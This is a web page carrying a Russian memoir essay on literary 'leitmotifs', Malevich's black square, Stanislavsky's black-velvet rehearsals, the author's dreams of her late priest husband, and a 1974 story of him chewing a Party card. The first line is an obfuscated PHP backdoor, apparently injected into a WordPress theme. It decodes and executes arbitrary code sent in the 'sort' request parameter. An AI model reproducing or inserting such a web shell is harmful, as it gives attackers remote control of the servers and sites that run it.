nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

ДУШЕМОТИВ ( II )


эпиграф

". . . ВТОРЖЕНИЕ  ФАНТОМА  В  ЖИЗНЬ  ЛЮДЕЙ . . ."

                                                      В.Э.Рецептер "Об  альтернативах  и  путях  решения
                                                      текстологической  загадки  " Русалки " Пушкина
ещё   эпиграф

. . .В   ЧЁРНОМ – ЧЁРНОМ   ДОМЕ  ЕСТЬ  ЧЁРНАЯ – ЧЁРНАЯ  КОМНАТА,
А  В  НЕЙ  ЧЁРНАЯ – ЧЁРНАЯ   РУКА  ТЯНЕТСЯ,  ТЯНЕТСЯ, ТЯНЕТСЯ . . .
                                                                                                               детская   страшилка

                Удивительно  авторство " крылатых " терминов  и  выражений !
                В  предыдущей  мемории  я  удивлялась   придуманности  термина    л е й т м о т и в ,  приводила   примеры   других  авторств   всяких  терминов.  Конечно, "авторские  права " на  них  не  могут  быть  ни  однозначно  доказаны,  ни  тем  более  –  защищены.
           Вот  и  с  авторством  названия  книги  Юрия  Олеши  "  Ни  дня  без  строчки "  та  же  расплывчатая  история.  В  моё  время  она  по-школьному  увязывалась только  с  Ю. Олешей. Он,  правда  в  первых  строках  своих  меморий  оговаривается,  что  это  выражение  ( " ни  дня  без  строчки " )  как-то, походя,   где-то,  у   кого-то  случайно  услышал,  впечатлился   и  решил  использовать  как  название. Между  тем.
         В Интернете,  наряду  с  тем,  что  и  Бальзак,  и  Золя  имели   NULLA  DIES  SIM  LINIA   своим   девизом,  оказалось,  что  и   д о    Плиния-старшего ( умершего  в  79 году н.э. при  извержении  Везувия )  " ни  дня  без  линии "  было   декларированным  правилом    х у д о ж н и к а     А п е л л е с а,  жившего  в  IV веке  д о   н.э. !  А  Плиний  всего  лишь передал  творческую  установку  Апеллеса,  описывая  её  в   своей  " Естественной  истории ".

                                                   К   ВОПРОСУ  О  ТЕРМИНЕ  " НЕСБЫВШЕЕСЯ "
                                                  ———————————————————————

        Я  была  уверена,  что  это (" несбывшееся" ) ставшее  " крылатым "  слово  принадлежит  Александру  Грину . . .  Ан  нет !  Интернет  указал,  что  родоначальником  особого логического  акцента   на  этом  слове  является  Ницше:  " Н Е С Б Ы В Ш Е Е С Я     БЫВАЕТ   КУДА    ВАЖНЕЕ     СЛУЧИВШЕГОСЯ".  А  также  подобное  высказано и  другими  мыслителями ( см.).  Мало того,   народная   мудрость   гласит:  с к а з а н н о е    с л о в о    с е р е б р о,  н е с к а з а н н о е   –   з о л о т о,  то   есть несказанное  важнее  сказанного. Это  я  к  тому,  что  если  я  и не  сподоблюсь  написать того,  что  задумала,  от  этого  копилка  народной  мудрости  только  прирастёт . . .
        Кстати,  о  Грине  и  о  его  " Бегущей  по  волнам ". В  этом  известнейшем  рассказе  Грина,  "  вторжение  фантома  в  жизнь  человека " совершается  именно   героиней,  " бегущей  по  волнам ",  а   её  фамилия,  придуманная  Грином , . . . С е н и э л ь  !
     S h e n i l l e !  На   чём  я  " торчала "  в   своих предыдущих  мемориях !  Я  доказывала,  что  ни  из  какой  " Шинели "  мы  с  нашей  литературой    не   " выходили " !
     Случайное ли  это  совпадение:  СЕНИЭЛЬ   и  SHENILLE ?  Если  и   случайное, " подкорковое "  – то  всё   равно –  с и м п т о м ч и к   какого-то   всеобщего  нащупывания  широкомасштабного   л е й т м о т и в а . . .
      В   предыдущих   мемориях  я  прошла  путём   движения  Башмачникова  к  своему  мистическому  финалу: через  петербургскую Коломну. А  подошла  вдруг   к  эпопеи  " Чёрного  квадрата " – "Победы  над  солнцем ",  спектакля, два представления  которого  прошли  в  " Луна – парке " коломенского  сада,  который  существовал и  до  Малевича,  и  до  Гоголя  –  со  времени  строительства  Петербурга.  Мне  это  было  интересно,  поскольку  я  в  Коломне  бурно  прожила  более двух  лет,  о  чём  и  написала.  Но  пока  сверяла  все  информации  из  энциклопедического  Интернета,  наряду  с  пространственными  соответствиями  " Шинели "  и  " Квадратов "  выявились  с о о т в е т с т в и я   и    в о    в р е м е н и    поиска  единой  тайны черноты  равновеликими  по  своей  гениальности  людей.

           ЧЁРНАЯ-ЧЁРНАЯ   ПЛОСКОСТЬ  МАЛЕВИЧА   И   ЧЁРНЫЙ-ЧЁРНЫЙ ОБЪЁМ … СТАНИСЛАВСКОГО.
                                                                  ( ТОЛЬКО   ОДИН   Ф А К Т.  И   БЕЗ   КОММЕНТАРИЯ )

   В   книге  "Страницы  жизни"  Алиса  Коонен  в  седьмой  главе,  описывая  начало  своего  актёрского  становления, даёт  уникальнейшую  информацию. Дело  происходит  в   конце  1909,  начале  1910 годов.

     "  Одновременно  с  репетициями  " Месяца  в  деревне "Константин  Сергеевич  начал  заниматься  " с и с т е м о й ".  Это  были  первые  его  пробы,  самые  начальные  искания.
         Вероятно,  я  и  ещё  несколько  человек  из  молодёжи,  которых  он  навызывал,  служили  для  него  чем – то  вроде  подопытных   кроликов.  Такая  роль  не была   для  меня  новостью. Незадолго  до  смерти  Горева  Станиславский,  мечтавший  ставить  " Дон  Карлоса ",  часто  вызывал  меня  и  Аполлона  ( Горева )  для каких-то  своих  неведомых  нам  режиссёрских  исканий.
         В  верхнем  фойе  на  специальном  помосте,  затянутым чёрным бархатом,  с чёрными  бархатными  же  стенами  вокруг  и такими  же  занавесями,  мы  с Горевым  в чёрных  бархатных  балахонах  из  " Синей  птицы ",  с чёрными  масками  на  лицах  по  указанию  Станиславского  делали  всевозможные  движения руками,  ногами,  корпусом,  частично  высвобождая  от  бархата  то  руку,  то  ногу,  то  лицо.
      Константин  Сергеевич  ничего  не  объяснял  нам,  и  мы  абсолютно  ничего  не  понимали,  но  наше  уважение  к  нему  было  так  велико,  что,  задыхаясь  в  своих  масках,  мы  часами  беспрекословно  выполняли  его  указаниям  . . . "

                                " ПУСТО  –  ПУСТО  –  ПУСТО ,  СТРАШНО  –  СТРАШНО  –  СТРАШНО . . . "
                                                          ( Чехов, " Чайка " 1896 год )

       Наш  с  о.Георгием  младшенький,  едва  я  его  оторвала  от  груди  (  а  кормила  я  его  до  четырёх  лет  –  и  он  ничего  этого  не  помнит  и  мне  не  верит, думает, что шучу ) – он  стал  по  ночам  бродить  со  старшими  ребятами  через  глухие  леса  по  деревенским  клубам  с  их  дискотеками.
       Страхов  с  детства  он  натерпелся  порядочно,  да  и  ребята  друг  друга  пугать   горазды. Он  бывало  во  сне  и  бредил,  и  трясучка  на  него  нападала. Однажды  утром, проснувшись,  он нам  с  папой  воодушевлённо  сообщил: " Мне  очень  страшный  сон  сейчас  приснился ! "  Естественно,  мы  напряглись. Ребёнок  стал  рассказывать  сон   именно  " по  горячим  следам ",  едва  проснувшись,  то  есть  у  него  не  было  времени  ничего  лишнего  придумать, и  по интонации  было  ясно,  что  он  старается  как  можно адекватнее  отчитаться.
       Начало  сна  было,  на  удивление,  классическое  –  видно,  в  их  кругу  тема " чёрной-чёрной  комнаты "  уже  мусировалась. Он  так  и  начал:
      —  Мне  приснилась  страшная  тёмная,  чёрная-чёрная  комната.  А  из  тёмного  угла,  где  икона  висит,  её  не  было,  а  тянулась  ко  мне  чёрная   рука.  Я  пятился,  пятился,  пока  стало  некуда.  И  совсем  стало  мне   ну   о ч е н ь   страшно.  А   рука   до  моей  шеи  так  и  дотянулась.  Но  тут  я   решил  её  укусить.  Укусил  –  а   она  оказалась  шоколадной.  Так  я  её  всю  и  съел !

     Сейчас,  когда  папы, то  есть  о. Георгия,  уже  почти  год   как   нет,  наш  неунывающий  " младшенький" ( которому  уже  под  тридцать )  велит  мне со  всех  собирать  и  записывать пришедшие  им  сны  про  папу. Снится  же  о.Георгий,  надо  сказать, всем  просто  замечательно,  даже, бывает,  забавно. Но  в  летопись  чужих  снов,  " погружаться " в  это  дело
надо  было  бы  с  самого  начала,  да   и    д е л о   это,  безусловно,  сомнительное.
    Лучше  я  расскажу   с в о й  –  самый   первый  с  ним   и  знаковый  –  сон  про  то,  как  он,  мой  муж,  с  которым  я  прожила  бок  о  бок  ровно  сорок  пять  лет,  мне  явился  не запылился.
     Это  произошло  непосредственно  в  ночь  после   с о р о к о в о г о    д н я    его  преставления.  В  этом  сне  отображён  абсолютно  полностью  характер  моего  Георгия: он  просто  дал  дёру  с   " того  ещё  света "  (выражение  " с  того ещё света " –  из  " Альтиста  Данилова " ).
    Значит,  дело  было  так.  Я  мирно  спала  после   суетного   отмечания   его,  повторяю, " сороковин ".  Надо  сказать,  что  наш  прицерковный   дом   расположен  впритык   к кладбищу,  на  котором  муж   упокоился.
         Вдруг  я  ( во  сне )  просто  " стереоскопическим "  взглядом  улавливаю,  что   он,  с  присущей  ему  экспрессией,  вырывается,  словно  гейзер,  из – под   церкви,  где   его упокоили,  и  несётся  ко  мне,  преодолевая   кладбищенские д о м о в и н ы –  так  на  Псковщине  называют  могилы  с  их  оградами.  Ни  дать  ни  взять спортивный  вид программы " бег  с барьерами " !  Подбежав   к  нашему,  некогда  супружескому,  ложе,  откуда  я  этот  " рывок  к  коммунизму "  и  наблюдаю, он,  подпрыгнув,  перемахнул  через меня, да   так, по  своему  обыкновению,  неловко,  почти  задев  меня,  что   я   обычным   земным  голосом   рявкнула: " Ты  что ! Поосторожней ! "  А   он перевалился  через   меня и  замер, словно  в  окопе,  между  моей   спиной  и  стенкой.
      И  до сих  пор  у  меня  от  этого  сна  закрепилось ощущение, что  он  сбежал  в     с а м о в о л к у  !
      Ну,  думаю,  на  " том  свете"  с   ним  силы  небесные  ещё  намаются !   Пусть,  пусть . . .

                                                 " ПРИЗРАК   Б Р О Д И Т    ПО    Е В Р О П Е  . . . "
                                                      ———————————————————-

          Кстати,  про  коммунизм.
         Я  столько  своих  меморий  посвятила  " Shenille " с  Башмачниковым,  что  просто  логически  встаёт  вопрос:  а  не  является   ли      п р и з р а к   Башмачкина  именно  тем, который  забродил  кругами  от  Петербурга   " до  самых  до  окраин  южных  гор  и  северных  морей " Е В Р О П Ы ?  Призраки  границ  не  разумеют !
Ведь,  как  ни  странно,  Башмачкина  с  Карлом  Марксом  связывают  два  основополагающих  фактора:  любовь  к  письменности  и какая-то  жертвоприносительная   а с к е з а.
    Напомню:  Башмачкин  был  одинокий,  не  обременённый  семьёй  и  лишними  тратами, занимавший  (  как  и  многие  в реальной  жизни  великие  личности )  невысокое, но  и    н е    с а м о е    низкое  чиновничье,  хорошо  оплачиваемое  положение  – это  не  я  первая   д о к а з а л а,  заинтересовавшись  реалиями  гоглевского  времени.  А   вот многодетные  Карл  и   Женни  Маркс ( Женни, которая,  кроме  прочих  б о г а т ы х   родственников, имела   д я д ю  –  основателя  корпорации  " Phillips " !) . . . Добрая половина  их детей  умерли  от . . . истощения,  от  р е а л ь н о г о   голода  –  это  тоже  известный  факт  биографии  Маркса,  как  и то,  что  его   семья   все  годы  жила   п р и н ц и п и а л ь н о   письменными   трудами  отца  семейства  ( Карла ),  а  также  на   иждивении  Энгельса,  а  также  подачками  родственников . . . Странная  аскеза,  наводящая  на  метафизические размышления . . . Интересная  биографическая  подробность:  домашние  и  близкие  Маркса  в  своём  кругу  звали  его   Мавр !
………………………………………………………………………………………………………………………………………………
      Ну  да  ладно,  пусть   теперь   мой   муж – призрак   с  этими  подозрительными  "фантомами  в  жизни  людей"  разбирается.  А   я  лучше  на   эту  тему   расскажу  одну  пикантную  меморию,  да  простят  мне  это  идеализаторы  моего  почившего  в  Бозе  мужа.

                    "  РОДИТЕЛИ  ЕЛИ  КИСЛЫЙ  ВИНОГРАД,  А   У   ДЕТЕЙ  НА ЗУБАХ  ОСКОМИНА "
                    ———————————————————————————————————————

   Дело  было  году  в  1974. Я  уже  писала  про  свою  работу  в  постановочной  части  Кировского (Мариинского ) театра.
   Как-то,  после  вечернего  спектакля  меня  встретили  муж  и  два  наших  друга,  новоиспечённых  иерея,   два  отца  Владимира  – Цветков  и  Савицкий.  Если учесть,  что  и  мой муж,  хоть  и  через  много  лет  после  этого,  стал  иереем,  то  хочу  сказать,  что более  контрастных  друг  по  отношению  к  другу  элементов, как  эта   " троица "  не  придумать ! Но  я  тут  не  про  психологические оттенки,  а  про  ситуацию  в  целом.
       Мы  вместе  доехали  от  Театральной  до  моей  "легендарной"  Ульянки  (об  этой  квартире  я  тоже  писала ).
       Дома  мы  застали  уже  почти  разъехавшийся  " девичник "  моей  мамочки.  За  опустевшим  столом  осталась  только  она  со своей  приятельницей.  На  столе  было  чем    угоститься,  и  мой  Георгий, как  и  во  всём,  лидировал  в  поглощении   угощений. А поскольку  все  собравшиеся  были  людьми  коммуникабельными  и  " держащими  руку  на  пульсе  событий ",  то застольные  темы обсуждений  были  актуальными.
       Моя  мамочка  задала  тон  и  тему: в  то  время  по  телевизору  наконец  показали  долгожданный  фильм  " Индийские  йоги  – кто  они ? ".  А  надо  добавить,  что  отец  Владимир  Цветков,  по  воле  сердца   и  по  благословению, везде  ходил  (  в   т о,  надо отметить,  время !)   т о л ь к о   в  подряснике,  то  есть  церковной  одежде,  и   с наперсным  крестом . Кажется,  и  о.  Владимир Савицкий  –  тоже.  Так  вот,  моя  мамочка,  заведя  тему  про  йогов, поглядывая  на  крест, тенденциозно  свела  нашу  полемику  к   слабине  христианских  " методик "  по  сравнению  с  восточными. Конечно,  заданный  уровень  был  не  выше  тезисов  о  лежании  на  гвоздях  и  поедании  огня.
      Мой  муж,  он  же  " любимый"  зять  моей  мамочки,  наевшись  и  напившись,  стал  её  " подкалывать ". Моя  мамочка – " раскочегарилась "  и  стала  его поддразнивать. Юные иереи  своими   репликами  элегантно  подливали   масло  в   огонь.  А   поскольку  обзор  восточных  методик  так  и  забуксовал  на  уровне " хождения "  и "  лежания " ( на  острых предметах )  и  " поедания " ( огня ),  то  дело  дошло  до  прямого   укора:  мол  а  вам,  православным,  слабо !
         И  тут  мой  муж  сказал: " Фигня ! Да  отчего  ж  –  слабо ? " –  и, выпив  очередную  рюмашку  из  тонкого  стекла,  ею   же . . .  закусил,  запустив  её  себе  в  раскрытый,  как  у бегемота,  рот ,  раскусив  её  зубами  и  начав  пережёвывать.  Мы,  естественно,  все  хором  онемели . . .  (  потом-то  мне  муж  сказал,  что  его  ещё  в армии  научили  этому фокусу  –  но  жевал-то  он  реальные  о с к о л к и,  или  я  чего-то  недопоняла ?)
      Но  моя  мамочка  с  приятельницей  – " тёртые  сухари ", стойко  пережившие  Блокаду:  они  стали  быстренько  приходить  в  себя,  мол,  рюмки – рюмками, ты, мол,  один  такой  на  всё  православие, а  всё  равно  йога  " круче "  православия. Правда,  слово  " круче " тогда  ещё  не  было  введено  в  активный  обиход.
     Тут  уж  отец  Владимир  Цветков  был  настолько  задет  " за  живое ",  что  сказал: " Нет,  почему  же ?  Мы . . . нам,  православным,  в с е м    не  слабо . . . " –  и  тоже  стал старательно запихивать  рюмку  в  рот.  От  такой  массовости   чудотворений  моя  мамочка  вознегодовала,  видя,  что  проигрывает. Она  позади  себя  достала  с  книжной  полки   ч т о – т о   и    протянула   это   ч т о – т о   через  стол,  напротив,  к   жующему  части  рюмки ( или  делающему  вид,  что  жуёт )  зятю:
    —   А   вот   э т о  тебе  –  с л а б о  ?
       " ЭТО "  –  это   был   новенький,  только  что  выданный   в   кампанию  семидесятых  годов   обмена  партбилетов  –   п а р т б и л е т  !
        Моя   мамочка  думала, махая  партбилетом, что  козырнула   перед  нами   с в о и м   " по  жизни "  фокусом: ну  что  она, абсолютная контра   внутри  себя,  а  на   людях  –  почётная партайгеноссе. Она  страшно  гордилась  этой  своей  политической  " гибкостью ".  Ну  и   добравировалась . . .
        Мой  муж  в  полубессознательном  состоянии   мгновенно   выплюнул    все   части   рюмки  изо  рта,  в  одно  мгновение  выхватил  протянутый  к  нему   партбилет  и  полностью  запихнул   его   себе  в   рот  . . .  Все  по-настоящему  оцепенели.
   . . .  В   те   времена   бытовал   анекдот  про   то,  что  на   международном   фестивале   фильмов   ужасов   Гран – при   получила   советская   лента   " Потеря  партбилета " . . .    Так   что  в   описываемой  ситуации   всем   было  не  до  смеха.
      М  ы   все  быстро  отодвинули  стол,  под  который  успел  нырнуть  жующий  партийную  святыню  Георгий.  Распластали  его  не сразу,  так  как  под  столом  он  сразу закрепился  в  борцовской  позе  под  названием  " партер ".  Два   о.Владимира  с  трудом  всё-таки  повалили  тушу  ( при  том,  что  Савицкий  ушёл  в  священники  из  института  физкультуры,  а  Цветков  –  из  аспирантуры психфака  университета ),  и  стали  пытаться,  как   самсоны  льву, раздвинуть   пасть.  Ничего подобного !  У  моего  мужа  была  " одна,  но  пламенная  страсть ":  то,  что  было  во  рту,  п р о г л о т и т ь  !  Мы,  всего  этого  ужаса  участники –  взрослые, покусанные советской властью  люди,  и  ощущение  нашей   общей,  без  слов  понятной,  беды  сплотило  нас  настолько,  что  все сразу поняли  мою  задумку –  единственно возможный  в  этой  ситуации  бескровный  выход.
     Я    л е г л а   рядом  со  своим  мужем  и,  изображая  альковную  сцену,  стала  к  нему  приласкиваться,  поглаживая  его  и  примурлыкивая: " Ну,  Гарюшечка ( его  детское, домашнее  прозвище  было  Гарик ),  ну,   миленький,  ну,  любименький,  ну . . .( и  тому  подобные  мур-мур-мур ) . . . "
     Всё  было  бесполезно.  Жернова  его  челюстей  работали  словно  по  метроному,  а  победы  в  этом  многоборстве  не  могло быть,  так  как   катастрофа   у ж е   произошла  – целомудренность  документа   была   потеряна  с  момента  попадания  его  в   пасть  дикого   зверя . . . Тем  не  менее  все,  как  и  я, отчаянно  приласкивали  этого монстра: материна  приятельница  чесала  ему пятки,  иереи  –  за  ухом. . . Наконец   релаксация  победила сверхзадачу, и  подобие  невольной улыбки обласканного озарило   страшную  картину  последнего  дня  Помпеи:  бумажный  обслюнявленный к о м   был   извлечён  из  недр  " горлана – главаря ",   будущего  проповедника,  и  нельзя  сказать, что  у всех   вырвался    в з д о х    о б л е г ч е н и я  –   это   был   вздох  сочувствия жертве  партийной  дисциплины.
     Наутро,  когда  мы  с  мужем  ещё  не  проснулись,   моя  мамочка,  пнув  дверь  ногой,  ворвалась  в   девятиметровую  комнатку,  кинув   нам   на  постель  всё  что  осталось   от билета  в  первый   ряд   светлого  будущего:
    —  Чтоб  всё  было  как  было !
        Однако  эта  непререкаемая  интонация,  достойная  великих  гипнологов,  сделала  своё  дело.  Мой  муж, " любимый "  зять   моей  мамочки,  который  работал  в  Русском  музее, отнёс этот  бумажный   ком  партии   в  отдел  реставрации   бумаги,  и   там его   виртуознейшим   образом   довели   до  состояния   " как  было " !   Да  здравствуют  профессионалы ! Только  в  одном,  почти незаметном,  уголке  партбилета  можно  было,  присмотревшись,  различить  неистребимый   п р и к у с   будущего  о.Георгия. Этими вмятинками  моя  мамочка  в  последующие  годы  пыталась  бравировать,  когда  ходила  по  инстанциям,  " катя  бочки "  на  своего любимого   зятя,  с  целью  его  полного  истребления  с  бела  света.
        А   когда   подошли  "  перестроечные "  времена   и   моя  мамочка   почувствовала,  что   криминальная   составляющая  этой   истории  с  поеданием  партбилета  ослабевает, она,  с  оскорблённым  видом   и   претензией  к   партии,  что  та   не  желает  и  не может   защитить  её   от   зятя – бандита,  демонстративно  швырнула  этот   уникальный   о б р а з е ц     р е с т а в р а ц и и,  как говорится, на  стол, хотя  было  бы  логичнее  его  отдать  в  Русский  музей ( и  сделать " Выставку  одного  шедевра " )!   А   потом  стала  себя  нахваливать,  что именно  она,  красиво   кинув   партбилет  на  стол,    б ы л а    п е р в а я    в    э т о м   общественном   " в е л и к о м    п о ч и н е " .

вpompei

    ПЕРЕД  КАРТИНОЙ  САМЫЙ  ВЫСОКИЙ,  В  ЖИЛЕТЕ, С  БОРОДОЙ  –  ЭТО  И  ЕСТЬ  БУДУЩИЙ  отец  ГЕОРГИЙ
        Два  уморительных  нюанса:  1)  позади  мужа  стоит  легендарный  директор  Русского  музея В.А.Пушкарёв, а
        2) с л е в а   от  этого  кошмарного   вулканического,  всесогающего  явления  природы,  на  мирной  музейной  стене,
       хранящей  эту  " энергетику ",  висит  банальный  комнатный   градусник . . .
                                               
                                      +
               петр  иоанн  андрей
филипп  фома  варфоломей
              два иакова   матфей
  иуда яковль,т.е. ф а д д е й
  зилота симон   и  матфИй


Добавить комментарий